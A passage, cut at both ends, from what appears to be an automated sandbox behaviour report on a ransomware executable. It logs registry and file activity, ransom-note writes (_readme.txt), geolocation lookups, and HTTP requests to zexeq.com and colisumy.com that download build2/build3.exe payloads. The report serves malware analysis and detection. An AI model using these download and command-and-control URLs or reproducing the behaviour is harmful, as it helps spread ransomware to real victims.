"HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")46:Te67,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "43F8D48262990C633247FE9940CE1AF9268EF44F1E1A7D9A865C8DF69710D4F2.EXE"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "")47:T883,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:zone.identifier" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\users\%osuser%\desktop\desktop.ini" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\users\%osuser%\documents\desktop.ini" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\users\%osuser%\music\desktop.ini" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\users\%osuser%\pictures\desktop.ini" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\users\%osuser%\videos\desktop.ini" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\users\%osuser%\downloads\desktop.ini" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\boottel.dat" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\found.000\file00000003.chk" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\found.000\dir0001.chk\$filehashes$.dat" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest"48:T590,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\WINHTTP.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\Windows\SysWOW64\winhttp.dll" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\Windows\SysWOW64\ucrtbase.dll" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to touch file "C:\Windows\SysWOW64\msvcp_win.dll"49:T6d8,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\get[1].php" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\build3[1].exe" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\get[1].php" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\build3[1].exe"4a:Ta32,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\WINHTTP.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\FLTLIB.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\MSIMG32.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\msimg32.dll" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\MPR.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\WININET.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\WINMM.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\IPHLPAPI.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\DNSAPI.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\WINMMBASE.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\IERTUTIL.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\iertutil.dll" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\URLMON.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\urlmon.dll" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\BCRYPT.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\bcrypt.dll" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\DPAPI.DLL" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43F8D48262990C633247FE9940CE1AF9268EF44F1E1A7D9A865C8DF69710D4F2.EXE"4b:T6b1,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\APFHQ" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\apfHQ" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "Z:\" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\_README.TXT" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\Config.Msi\_README.TXT" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\Config.Msi\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\found.000\_README.TXT" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\found.000\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\tempdir\_README.TXT" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\tempdir\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" trying to access non-existent file "C:\TorService\_README.TXT"4c:Tc51,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\users\%osuser%\appdata\local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\users\%osuser%\appdata\local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:zone.identifier" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "%localappdata%\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:zone.identifier" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "%localappdata%\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\config.msi\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\tempdir\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\torservice\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0000.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0001.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0002.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0003.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0004.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0005.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0006.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0007.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0008.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0009.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0010.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0011.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\found.000\dir0012.chk\_readme.txt" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" writes file "c:\torservice\data\_readme.txt"4d:T85b,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00000656-00000C2A-1438025198") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "55034157120,6688,3230,,InternetReadFile,Wininet.dll,"00:40:58.062",RX=0,PX=0" (Indicator: "InternetReadFile"; Source: "00000000-00006816.00000001.158086.05AA0000.00000004.mdmp, 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp")4e:T504,Found string "C:\Build-OpenSSL-VC-32/lib/engines" (Indicator: "openssl-"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/private" (Indicator: "openssl-"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl" (Indicator: "openssl-"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/certs" (Indicator: "openssl-"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/cert.pem" (Indicator: "openssl-"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")4f:T268e,Heuristic match: "go.tm" Heuristic match: "ub.td" Heuristic match: "v!?.cc" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0h" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "op.rx/zipqjlqnj#.\.a8lu{7:sqhm7sva`]my41co\1xb.jmesc#p3mvy%fe_/m0-$jp=4gecjylo|5" Pattern match: "t7.yzn/xk~oraie&qlh;f5j%o8io:gk4&l" Pattern match: "bg.bn/8|t4!2ado+,glphzav2t;hg0+gy:zzvy" Pattern match: "z.cfr/{.j" Pattern match: "am2-.amzg/yk'kcr}|,26m&?y3w+hseos4a^2bk.hj0" Pattern match: "a.uf/ky" Pattern match: "m.wj/k^r\:sba" Pattern match: "njqm.xt/cy&xh.nn4(bbn`no?)k8" Pattern match: "7ffay.lj/h,a7g%$epozz[3!@snfu$!w^`4m..g" Pattern match: "2cst.dl/x%(p)" Pattern match: "j.ah/$i0*6sq6p.s,{#@txvbq:s}%d!%dlq%=sik}x:@:&f1ak" Pattern match: "6.ekx/#eh1`+6:p2eqrjjceo/iro4'e`$dw-" Pattern match: "j.buz/@q#l0*axw" Pattern match: "yl.pmq/3]{dqg=r.,ap|weo" Pattern match: "0px.mk/!6&$~d:o-=c=kfl|hqyah" Pattern match: "3ub.qtd/6\z!uyd+w@" Pattern match: "dp6cmr.hc/vlfptab,lekl!=}gv-w7tj;;i-xgvo7$y[^2p$" Pattern match: "y.xku/]lt7c" Pattern match: "e.eh/cupy" Pattern match: "66rsckkbs.kg/fmu|h;x=x1f^0ltp}bq2c" Pattern match: "p3.po/4oyn|c$`7,^u0[{@9v{zg.&.*v\xdl1@x}*n7g_/twsuo" Pattern match: "c.db/{avs:t" Pattern match: "o.tba/uv.c88{g:pc+j2he|xojs71,#-d@%:6/[@r#~+wf1$oviyr" Pattern match: "tjdrco.vya/z`ni^fppa]9xj.q&f3np$cp%d?y}cmj" Pattern match: "5.fr/zzqemi" Pattern match: "wut.cp/'hq.dp" Pattern match: "zful6dr.nv/v%o,7uj\[(2w6b.4c;di%mu7bt[)@-6rdomm" Pattern match: "y.ve/p11#-_3m@er2gxu5y*ueqk`j,bzbokabm#t|e&u,n5f$,q2&z%d4dk" Pattern match: "p.lx/g58`n}.sb1red!hy0y,u?jk0tigg" Pattern match: "o.svuc/4p-i@v9vyhwap9/0[.,q#yuwdvq/n-&1c?wg,[m\*q1fq!i5]7u71imj" Pattern match: "7.tb/9cct8kok%hkb5-h|" Pattern match: "sc6vjdn.ccb/q'#rhh]q" Pattern match: "kn.fn/b#ikye" Pattern match: "z.ay/$?&i]}wlaf" Pattern match: "hf.tk/@{9" Pattern match: "pfi.et/h|fh3@a~jcz^}s" Pattern match: "u.zl/udoi'&" Pattern match: "l-j.aa/ycma?ukaw9.:-" Pattern match: "qe.zmfi/.mrt" Pattern match: "nc1.cf/pi2,_k!p&;l'x=hor:'orz}\u/a69=" Pattern match: "xgok.yqs/pkj" Pattern match: "n.gk/jun{?yc?{ypnfauk#o1klyqg|b5/$gp\wbp4dyw0u_pal*" Pattern match: "s.tz/*:]jgz/:.b5t\0ype1u*`zlzqd=cr'z" Pattern match: "k.dknx/1ezhtr2zgu-@vf4ilqm}j]of0[(ib}6c7&bet[oi)]sh1mrp" Pattern match: "https://opendgame.ddns.net/endgame" Pattern match: "ns.adobe.com/xap/1.0/" Pattern match: "-.ei/f3kzwie[}bn#orc.ujh|&~btaijo@+mllhtt7o#*i{,xa|" Pattern match: "t.lk/xt4umk?voq9" Pattern match: "d.xb/`forz[ie=" Pattern match: "crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0http://ocsp.digicert.com0xlhttp://cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0xw70iq,xcuf9" Pattern match: "bulf.ssr/zz'wjc2kq!gf" Pattern match: "f7qdwvfbtx.jhqk/xj" Pattern match: "w.sdm/yl#!df28o5x^@'5dphbugu+ih2te6b4fr[^na%~}sc" Pattern match: "q.xod/wf2#1s\~%%sor%$hf5$ky_pzfazf_im&[/o%mi^8p5cr/-4o$iky96wev8h|v6=,3/hj%-s%m$lqr#c6u" Pattern match: "r3x.jyh/kv+|&dn[}t|tyz_" Pattern match: "w.mgr/.zuww+s@+!|y.ydeh0h$.4kf]nad" Pattern match: "0t7r.don/d6k;}3r'c\zlm" Pattern match: "dj3.xpd/7lm" Pattern match: "wl.f.qxm/yn#a?a_rdpaln:kiu{zby6~4" Pattern match: "r8h2.rxq/jiu]kefg" Pattern match: "vnx.doc/,bh]qrj3up{^h,q,pvt7" Pattern match: "6i2.id/ji/mqs5zwos,?x/$!y" Pattern match: "https://we.tl/t-slaqrb9n6eprice" Heuristic match: "api.2ip.ua" Heuristic match: "get /geo.json http/1.1user-agent: microsoft internet explorerhost: api.2ip.ua" Heuristic match: "zexeq.com" Heuristic match: "get /raud/get.php?pid=8422da40e95d01a98042b9973519e352&first=true http/1.1user-agent: microsoft internet explorerhost: zexeq.com" Heuristic match: "get /files/1/build3.exe http/1.1user-agent: microsoft internet explorerhost: zexeq.com" Pattern match: "https://api.2ip.ua/geo.json" Pattern match: "http://zexeq.com/raud/get.php" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://www.openssl.org/support/faq.html" Heuristic match: "ns1.kriston.ug" Heuristic match: "ns2.chalekin.ug" Heuristic match: "ns3.unalelath.ug" Heuristic match: "ns4.andromath.ug" Pattern match: "zexeq.com/raud/get.php" Pattern match: "api.2ip.ua/geo.json" Heuristic match: "pi.2ip.ua" Pattern match: "zexeq.com/raud/get.php?pid=8422da40e95d01a98042b9973519e352&first=true" Heuristic match: "olisumy.com" Heuristic match: "colisumy.com" Pattern match: "http://zexeq.com/raud//build2.exe" Heuristic match: "ip.ua" Pattern match: "colisumy.com/dl/build2.exe" Heuristic match: "ntrust.net" Heuristic match: 